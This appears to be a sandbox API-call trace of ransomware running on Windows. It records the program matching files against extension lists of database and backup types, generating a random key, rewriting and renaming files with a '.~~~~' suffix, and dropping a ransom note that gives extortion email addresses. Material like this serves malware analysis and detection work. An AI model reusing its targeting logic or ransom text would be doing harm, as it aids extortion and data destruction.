	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.681] lstrlenW (lpString=".eql") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.681] lstrlenW (lpString=".DBF") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.681] lstrlenW (lpString=".EQL") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.681] lstrlenW (lpString=".FDB") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.681] lstrlenW (lpString=".EDB") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.681] lstrlenW (lpString=".DACPAC") returned 7
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.682] lstrlenW (lpString=".VHD") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.682] lstrlenW (lpString=".DBV") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.682] lstrlenW (lpString=".dacpac") returned 7
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.682] lstrlenW (lpString=".sdf") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.682] lstrlenW (lpString=".accdb") returned 6
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.682] lstrlenW (lpString=".DBX") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.682] lstrlenW (lpString=".MDT") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.682] lstrlenW (lpString=".SQB") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.682] lstrlenW (lpString=".vhd") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.682] lstrlenW (lpString=".bac") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.682] lstrlenW (lpString=".mdf") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.682] lstrlenW (lpString=".BAK") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.682] lstrlenW (lpString=".BAC") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.682] lstrlenW (lpString=".dbs") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.682] lstrlenW (lpString=".vhdx") returned 5
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.682] lstrlenW (lpString=".NDF") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.682] lstrlenW (lpString=".dat") returned 4
	[0085.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.683] lstrlenW (lpString=".DBS") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.683] lstrlenW (lpString=".CKP") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.683] lstrlenW (lpString=".edb") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.683] lstrlenW (lpString=".PST") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.683] lstrlenW (lpString=".dbf") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.683] lstrlenW (lpString=".SQL") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.683] lstrlenW (lpString=".pst") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.683] lstrlenW (lpString=".dbv") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.683] lstrlenW (lpString=".SDF") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.683] lstrlenW (lpString=".dtxs") returned 5
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.683] lstrlenW (lpString=".db3") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.683] lstrlenW (lpString=".OST") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.683] lstrlenW (lpString=".dbx") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.683] lstrlenW (lpString=".DB3") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.683] lstrlenW (lpString=".DAT") returned 4
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.683] lstrlenW (lpString=".VHDX") returned 5
	[0085.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.684] lstrlenW (lpString=".ndf") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.684] lstrlenW (lpString=".DB") returned 3
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.684] lstrlenW (lpString=".sql") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.684] lstrlenW (lpString=".MYD") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.684] lstrlenW (lpString=".DBT") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.684] lstrlenW (lpString=".ACCDB") returned 6
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.684] lstrlenW (lpString=".fdb") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.684] lstrlenW (lpString=".bak") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.684] lstrlenW (lpString=".myd") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.684] lstrlenW (lpString=".DTXS") returned 5
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.684] lstrlenW (lpString=".ckp") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.684] lstrlenW (lpString=".dbt") returned 4
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.684] lstrlenW (lpString=".db") returned 3
	[0085.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.684] lstrlenW (lpString=".TXT") returned 4
	[0085.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.685] lstrlenW (lpString=".MDF") returned 4
	[0085.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.685] lstrlenW (lpString=".bdb") returned 4
	[0085.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.685] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.685] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.686] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.686] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.686] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20567617033) returned 1
	[0085.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ce3f850, dwHighDateTime=0x1d60e1e)) 
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd28
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd28 | out: hHeap=0x300000) returned 1
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4118
	[0085.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4118 | out: hHeap=0x300000) returned 1
	[0085.687] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.687] GetLastError () returned 0x0
	[0085.687] GetLastError () returned 0x0
	[0085.687] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.687] GetLastError () returned 0x0
	[0085.687] GetLastError () returned 0x0
	[0085.691] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff97e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.692] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x682, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x682, lpOverlapped=0x0) returned 1
	[0085.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.692] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.692] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.692] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.692] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.692] CloseHandle (hObject=0x128) returned 1
	[0085.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0085.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.~~~~")) returned 1
	[0085.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0085.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.693] GetLastError () returned 0x0
	[0085.693] RtlWakeConditionVariable () returned 0x365f70
	[0085.693] GetCurrentThreadId () returned 0x9cc
	[0085.693] GetCurrentThreadId () returned 0x9cc
	[0085.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0085.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abc00 | out: hHeap=0x300000) returned 1
	[0085.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ccf0 | out: hHeap=0x300000) returned 1
	[0085.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abc00
	[0085.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.694] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.694] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.695] CloseHandle (hObject=0x128) returned 1
	[0085.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abc00 | out: hHeap=0x300000) returned 1
	[0085.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0085.695] RtlWakeConditionVariable () returned 0x365f70
	[0085.695] GetCurrentThreadId () returned 0x9cc
	[0085.695] GetCurrentThreadId () returned 0x9cc
	[0085.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0085.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0085.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6160 | out: hHeap=0x300000) returned 1
	[0085.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.696] lstrlenW (lpString=".scr") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.696] lstrlenW (lpString=".cmd") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.696] lstrlenW (lpString=".dll") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.696] lstrlenW (lpString=".bat") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.696] lstrlenW (lpString=".cpl") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.696] lstrlenW (lpString=".sys") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.696] lstrlenW (lpString=".msc") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.696] lstrlenW (lpString=".com") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.696] lstrlenW (lpString=".lnk") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.696] lstrlenW (lpString=".msp") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.696] lstrlenW (lpString=".pif") returned 4
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.696] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.697] lstrlenW (lpString=".sqb") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.697] lstrlenW (lpString=".ost") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.697] lstrlenW (lpString=".txt") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.697] lstrlenW (lpString=".mdt") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.697] lstrlenW (lpString=".BDB") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.697] lstrlenW (lpString=".eql") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.697] lstrlenW (lpString=".DBF") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.697] lstrlenW (lpString=".EQL") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.697] lstrlenW (lpString=".FDB") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.697] lstrlenW (lpString=".EDB") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.697] lstrlenW (lpString=".DACPAC") returned 7
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.697] lstrlenW (lpString=".VHD") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.697] lstrlenW (lpString=".DBV") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
